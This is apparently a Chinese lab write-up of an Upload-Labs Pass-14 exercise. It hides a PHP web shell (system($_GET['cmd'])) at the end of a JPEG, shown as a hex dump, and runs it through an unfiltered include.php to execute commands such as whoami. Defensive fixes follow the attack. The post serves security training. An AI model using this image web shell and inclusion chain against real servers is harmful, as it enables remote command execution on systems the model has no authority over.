绕过文件上传漏洞并利用文件包含漏洞获取系统信息的技术分析

绕过文件上传漏洞并利用文件包含漏洞获取系统信息的技术分析

一、实验环境
  • 靶场平台:Upload-Labs(Pass-14)
  • 靶机系统:Windows 8 Business Edition (NT 6.2)
  • Web服务:Apache + PHP 5.4.45
  • 关键漏洞
    1. 文件上传绕过漏洞
    2. 文件包含漏洞(include.php)
  • 实验工具:010 Editor(十六进制编辑器)

二、技术原理

1. 文件上传绕过核心
  • 文件签名欺骗:通过010 Editor在真实图片文件(JPEG)末尾注入恶意PHP代码
  • 绕过检测机制
    • 文件头保留合法的JPEG签名(FF D8 FF E0
    • 文件内容包含完整的图片数据
    • 在文件尾追加PHP代码:<?php system($_GET['cmd']);phpinfo();?>
2. 文件包含漏洞利用
  • 动态文件包含include.php未过滤file参数
  • 远程文件包含 :支持http://协议包含外部文件
  • 代码执行:PHP解析器会执行图片中的PHP代码

三、完整攻击步骤

步骤1:构造图片木马
hex 复制代码
00000000: FFD8 FFE0 0010 4A46 4946 0001 0101 0100  ......JFIF......
00000010: FFDB 0043 0005 0607 0605 0807 0607 0908  ...C............
... (合法的JPEG图片数据) ...
000001F0: FFDB 0043 0108 0909 0C0A 0C17 0C0C 1700  ...C............
00000200: FFDD 1A12 BAB1 49D8 8BC8 6E72 3FCF B52A  ......I...nr?..*
00000210: DBB3 67C5 7573 68AB 0A64 93F7 B0AB FD6A  ..g.ush..d.....j
00000220: 68F4 68E3 0723 E7E4 AFE1 DF5F 7461 2A44  h.h..#....._ta*D
00000230: B99C 0440 0879 EB47 D693 E549 5203 B205  ...@.y.G...IR...
00000240: 2629 7D0A 35A0 5F3F F09F A540 3AA8 A0FD  &)}.5._?...@:...
00000250: FA7C 9191 095C F502 91C7 CDF8 1A8E 5FB7  .|...\........_.
00000260: 4010 D140 A2A4 02D2 D21A 4312 9452 528A  @..@......C..RR.
00000270: 6039 4C4C 86A0 1534 7401 28A5 ED48 2945  `9LL...4t.(..H)E
00000280: 2500 14EA 2803 FF00 D9DC 13B4 28CA 3E45  %...(.......(.>E
00000290: 7CE0 A434 BC52 F912 71A2 B51F E1BF 3C3F  |..4.R..q.....<?
000002A0: 7068 7020 7379 7374 656D 2824 5F47 4554  php system($_GET
000002B0: 5B27 636D 6427 5D29 3B70 6870 696E 666F  ['cmd']);phpinfo
000002C0: 2829 3B3F 3E0A                           ();?>.
步骤2:上传恶意图片
  1. 访问上传页面:http://192.168.1.24/upload-labs/Pass-14/index.php
  2. 选择构造的图片木马上传
  3. 获取存储路径:http://192.168.1.24/upload-labs/upload/7320250810030340.jpg
步骤3:利用文件包含漏洞
http 复制代码
GET /upload-labs/include.php?file=http://192.168.1.24/upload-labs/upload/7320250810030340.jpg&cmd=dir HTTP/1.1
Host: 192.168.1.24
步骤4:执行系统命令(示例)
命令参数 功能 示例输出
cmd=dir 列目录 A032-9EC7 C:\phpStudy\WWW\upload-labs\upload
cmd=whoami 当前用户 nt authority\system
cmd=ver 系统版本 Windows 8 [版本 6.2.9200]

四、关键漏洞分析

1. 文件上传绕过点
php 复制代码
// 伪代码:Pass-14的检测逻辑
if(is_image($_FILES['file']['tmp_name'])) { // 仅检测文件头
    move_uploaded_file(); // 直接保存文件
}
2. 文件包含漏洞源码
php 复制代码
// include.php 关键代码
$file = $_GET['file'];
include($file); // 未过滤直接包含
3. PHP配置缺陷
ini 复制代码
; php.ini 危险配置
allow_url_fopen = On
allow_url_include = On ; 允许远程文件包含

五、防御方案

1. 文件上传安全加固
php 复制代码
// 安全的验证方案
$allowed_types = ['image/jpeg', 'image/png'];
$extension = pathinfo($filename, PATHINFO_EXTENSION);

if(
    in_array($_FILES['file']['type'], $allowed_types) &&
    in_array($extension, ['jpg','jpeg']) &&
    getimagesize($_FILES['file']['tmp_name']) // 真实图片检测
) {
    // 重命名文件+设置存储目录无执行权限
    $new_name = md5(uniqid()).'.jpg';
    move_uploaded_file($tmp_name, "/var/www/uploads/$new_name");
}
2. 文件包含漏洞修复
php 复制代码
// 白名单过滤方案
$allowed_files = ['header.php', 'footer.php'];
if(in_array($_GET['file'], $allowed_files)) {
    include($_GET['file']);
} else {
    die("Invalid file request!");
}
3. 服务器加固措施
nginx 复制代码
# Nginx配置禁止上传目录执行PHP
location ~* ^/uploads/.*\.(php|phar)$ {
    deny all;
}

六、技术总结

  1. 双重漏洞组合利用

    • 文件上传绕过 → 获取攻击立足点
    • 文件包含漏洞 → 实现代码执行
  2. Windows系统特性

    • 文件扩展名检测不严格(.jpg中的PHP代码仍可执行)
    • 路径解析特性(::$DATA流等绕过方式)
  3. PHP版本影响

    • PHP 5.4.45存在allow_url_include默认开启风险
    • 旧版本对特殊字符过滤不足

防御核心:采用"纵深防御"策略,在文件上传、存储、访问三个层面分别设置安全措施,避免单点防护失效导致系统沦陷。

此技术文章可用于网络安全知识分享,请严格遵守《网络安全法》,仅用于授权测试和教育目的。

相关推荐
会飞的小蛮猪2 分钟前
Jenkins运维之路(自动获得分支tag&自动构建)
运维·经验分享·ci/cd·jenkins
czhc11400756637 分钟前
Linux 96 shell:expect { }
linux·运维·服务器
幂简集成1 小时前
基于 Gemini 的 CI/CD 自动化测评 API 集成实战教程
运维·ci/cd·自动化
焦思懿--19期--工职大1 小时前
VMWare和centOS的安装
linux·运维·centos
那小子、真烦2 小时前
配置阿里云 YUM 源指南
linux·运维
lskblog3 小时前
Composer安装教程及国内镜像设置(含腾讯云、阿里云镜像)
阿里云·php·腾讯云·laravel·composer
管家婆客服中心3 小时前
管家婆分销ERP A/V系列导出提示加载数据过大的处理方式
linux·服务器·apache
Austindatabases3 小时前
沧海要,《SQL SERVER 运维之道》,清风笑,竟惹寂寥
运维
ACRELKY7 小时前
光伏运维迎来云端革命!AcrelCloud-1200如何破解分布式光伏四大痛点?
运维·分布式
星期天要睡觉9 小时前
Linux 综合练习
linux·运维·服务器